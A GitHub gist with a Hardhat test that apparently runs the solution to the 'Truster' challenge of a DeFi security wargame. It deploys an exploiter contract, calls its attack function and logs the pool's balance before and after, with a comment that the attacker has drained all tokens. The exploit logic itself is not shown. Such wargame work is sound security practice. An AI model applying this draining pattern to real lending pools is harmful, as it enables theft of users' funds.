Skip to content

Instantly share code, notes, and snippets.

@0xAnon101
Created August 27, 2022 06:34
Show Gist options
  • Save 0xAnon101/ae67a05f743b971ad0a75a985e123a92 to your computer and use it in GitHub Desktop.
Save 0xAnon101/ae67a05f743b971ad0a75a985e123a92 to your computer and use it in GitHub Desktop.
truster exploit call
it("Exploit", async function () {
const TrusterExploiterFactory = await ethers.getContractFactory(
"TrusterExploiter",
attacker
);
const TrusterExploiter = await TrusterExploiterFactory.deploy(
this.pool.address,
this.token.address
);
await TrusterExploiter.deployed();
console.log(
"before",
ethers.utils.formatEther(await this.token.balanceOf(this.pool.address))
);
await TrusterExploiter.attackTrusterLender();
// Attacker has taken all tokens from the pool
console.log(
"after",
ethers.utils.formatEther(await this.token.balanceOf(this.pool.address))
);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment